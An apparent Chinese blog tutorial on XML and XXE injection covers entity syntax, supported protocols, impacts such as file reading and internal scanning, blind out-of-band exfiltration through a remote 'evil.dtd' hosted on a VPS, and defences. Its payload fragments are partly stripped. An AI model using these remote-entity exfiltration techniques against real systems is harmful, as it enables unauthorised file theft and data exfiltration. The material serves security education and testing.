2.5_XXE(XML外部实体注入)

XML简介


  1. XML:传输和存储数据的数据格式;

  2. XML 文档结构(组成):XML 声明,DTD 文档类型定义,ELEMENT 文档元素;

    复制代码
    <!-- XML声明 --> 
    <?xml version="1.0" standalone="no" ?>  <!--xml文档属性--> <!--standalone="yes" 表示内部DTD,no表示外部DTD(默认)-->
    
    <!-- DTD(文档类型定义):定义元素属性和顺序 --> <!--DOCTYPE 定义标签-->  <!--ELEMENT 定义元素--> <!--ENTITY 定义实体-->
    <!DOCTYPE person [           		<!--根元素(必须存在),自定义标签名(person)成对出现,且区分大小写-->
    <!ELEMENT person(name,age,country)> 	<!--声明person元素有3个元素-->
    <!ELEMENT name(#PCDATA)>		    <!--声明name为"#PCDATA"类型--> 	<!--"#PCDATA"类型可被解析-->
    <!ELEMENT age(#CDATA)>			    <!--声明age为"#CDATA"类型--> 	<!--"#CDATA"类型不可被解析-->
    <!ELEMENT country(#PCDATA)>		    <!--声明country为"#PCDATA"类型-->
    <!ELEMENT sss ANY>			    <!--ANY 表示可以包含任意元素-->
                        			    <!--重点: 参数实体 和 外部实体 (ENTITY)-->
    <!ENTITY % address SYSTEM "address.txt"><!--声明外部参数实体:声明实体内容在XML文档外--> <!--实体相当于常量,参数实体相当于变量-->
                                        	<!--外部[参数]实体格式:<!ENTITY [%] 实体名称 SYSTEM/PUBLIC "外部DTD的资源地址">-->
                       			    <!--例:<!ENTITY % remote SYSTEM "http://121.40.24.5:8000/evil.dtd"> -->
                       			
    <!ENTITY % name "小明">			    <!--声明内部参数实体:声明实体内容("小明")在XML文档中-->  
                        			    <!--内部[参数]实体格式:<!ENTITY [%] 实体名称  "实体值">--> 
    ]>  
    
    <!--文档元素-->
    <person>
    <name>&name;</name>
    <age>1</age>
    <country>China</country>
    <sss>
        <name>&name;</name>			<!--sss接收"小明"-->
    </sss>
    </person>
  3. 外部引用支持的协议(通用:file,ftp,http )

    |------------------------------------------------------------------------------------------|----------------------------------------------------------------------|---------------------------------|------------------------|
    | PHP | JAVA | .NET | libxml2 |
    | 1. file 2. ftp 3. http 4. php 5. data 6. glob 7. phar 8. compress.zlib 9. compress.bzip2 | 1. file 2. ftp 3. http 4. jar 5. https 6. gopher 7. netdoc 8. mailto | 1. file 2. ftp 3. http 4. https | 1. file 2. ftp 3. http |

XXE简介


  1. XXE:外部实体注入漏洞。由于XML解析器允许外部实体的引用,导致攻击者可以对其进行攻击;

  2. 原理:XML解析器允许外部实体的引用;

  3. 危害(利用方式):

    1). 扫描内网端口(http);

    2). 攻击内网网站(http);

    3). 任意文件读取(file,php);

    4). 命令执行(expect);

  4. XXE 类型(分类)

    分类 利用方式
    有回显 直接利用即可 ]>&b; ]> &xxe; ]> &xxe; ]> &xxe; ]> &xxe; &xxe;
    无回显 通过 DNSlog 检测,http 日志外带; %xxe; ]> # VPS: # 启动服务:python -m SimpleHTTPServer 或 python -m http.server # 上传evil.dtd,文件内容: "> # Brup payload: %remote; %int; %send; ]>
  5. XXE防御方式:

    1). 禁用 外部实体(system,public);

    2). 过滤 用户输入;

    3). 升级 libxml 组件;

  6. 如何挖掘XXE漏洞:

    1).寻找能够识别 XML 语句的功能点,或是数据包类型是 application/xml 的;

    ①. 功能点提交的语句是 XML ;

    ②. 功能点提交的语句是 Json ,但改为 XML 后可用的 ;

  7. XXE验证方式:

    1). 首先,判断目标是否接收 XML 类型数据,如果是 JSON 数据类型,可以将数据改为 XML 数据格式;

    ①. 例: burp抓包中包含 :username=admin $ pass=123456;

    ②. 将其改为 <username>admin</username><pass>123456</pass>

    2). 其次,如果能够正常接收,则可以继续判断有无回显做进一步测试;

  8. XXE引用外部实体的关键字:system,public ;

  9. XXE利用的协议:file,ftp,http,php,data等等;

免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

相关推荐
迪康coolmu几秒前
基于迪康端点安全一体化管理系统的公用终端上机与信创补丁实战
linux·运维·服务器·网络·安全·电脑
Vitaliy Kostrov(柯维远)23 分钟前
客户端如何检查直播流:从流内标记到停止播放
android·运维·服务器·驱动开发·网络安全·系统架构·cdn
Eyfcom37 分钟前
〖实战〗跨境报关单证自动化:XML 报文生成、PDF 套打与单一窗口同步上传的工程实现
xml·pdf·自动化·报关单证·清关自动化
重生之高冷汉堡包1 小时前
Perplexity爬虫怎么做?2026常见方案对比、实操教程与问题排查
大数据·网络·爬虫·安全·ai
zxanz11 小时前
HTTPS 普及之后,SSL 证书的安全边界正在悄悄收缩
安全·https·ssl
sbjdhjd1 天前
从签名重放到 Agent Harness:一堂安全课程如何把前端逆向、MCP 与工程约束串起来
网络安全·ai·github·agent·webshell·mcp·harness
醒醒1111 天前
从微信小程序到全端:一个安全扫描器的演进之路(v0.5.0 → v0.6.0)
前端·安全
萧瑟余晖1 天前
Spring Security综合实战与安全加固详解
java·安全·spring
广东帝工1 天前
如何保障智慧航道的安全
安全
其实防守也摸鱼1 天前
Linux文本处理命令理论学习
linux·服务器·前端·数据库·sql·学习·安全